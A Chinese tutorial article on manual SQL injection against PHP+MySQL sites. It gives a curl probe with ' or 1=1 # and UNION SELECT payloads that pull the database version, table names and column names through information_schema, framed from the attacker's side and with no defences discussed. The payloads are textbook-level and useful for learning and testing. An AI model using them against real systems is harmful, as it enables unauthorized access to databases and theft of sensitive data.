PHP+MySQL手工注入语句大全 MySQL手工注入语句总结攻略
什么是手工注入?
手工注入是一种攻击技术,攻击者利用输入验证错误,通过手动构造特殊的输入字符串,向Web应用程序中注入恶意代码,以获取数据库敏感信息。
手工注入的主要目标是通过针对Web应用程序暴露出的漏洞,使攻击者能够以合法用户的身份与Web应用程序进行交互,从而对数据进行访问和操作。手工注入的方式既可以直接在目标Web应用程序上手动注入,也可以使用工具来模拟注入行为。
如何手工注入?
手工注入一般包含以下步骤:
- 找到攻击目标的漏洞点,例如可以通过某个搜索栏:
http://www.example.com/search.php?q=1
- 输入恶意字符或字符串进行测试,例如在终端输入:
curl -v "http://www.example.com/search.php?q=' or 1=1 #"
-
判断是否存在注入漏洞,例如如果能够看到查询结果中包含所有行的记录,则说明存在漏洞。
-
确定数据库类型与版本,一般可以通过指定特定的特征字符串进行判断。
-
利用不同的注入语句获取需要的数据,如下所示。
MySQL手工注入语句大全
下面是一些常见的MySQL手工注入语句,具体使用时需要根据实际情况进行修改。
注入获取数据库的版本
- 语句:
SELECT @@VERSION
注入查询当前库名
- 语句:
SELECT DATABASE()
注入查询表名
- 语句:
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
注入查询列名
- 语句:
SELECT column_name FROM information_schema.columns WHERE table_name='表名' AND table_schema='数据库名'
示例说明
下面是一个示例说明,假设我们已经找到了某个存在注入漏洞的搜索栏,并且我们对目标数据库的表名和列名一无所知。在这种情况下,我们可以像下面这样进行手工注入:
-
我们向搜索栏中输入 ' or 1=1 # 并提交。
-
如果可以看到所有行的记录,则说明存在漏洞。
-
为了获取数据库的版本,我们可以向搜索栏中输入:
' UNION SELECT @@VERSION, NULL #
这条语句的含义是先通过 ' 将原始查询结束,然后 union进我们自己细心写好的新表格,第一列使用@@VERSION获取数据库版本。最后 # 表示将后面的字符串注释掉。
-
如果成功,我们应该可以看到返回的结果中包含了数据库的版本信息。
-
为了获取表名,我们可以使用下述语句:
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() #
-
如果成功,我们应该可以看到返回的结果包含了数据库中的所有表名。
-
为了获取列名,我们可以使用下述语句:
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='目标表名' AND table_schema='目标数据库名' #
- 如果成功,我们应该可以看到返回的结果包含了我们需要的列名。
通过这些手工注入语句,我们可以在保证不依赖于工具的情况下,获取到数据库的各种敏感信息,并进行各种有趣的操作。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:PHP+MySQL手工注入语句大全 MySQL手工注入语句总结 - Python技术站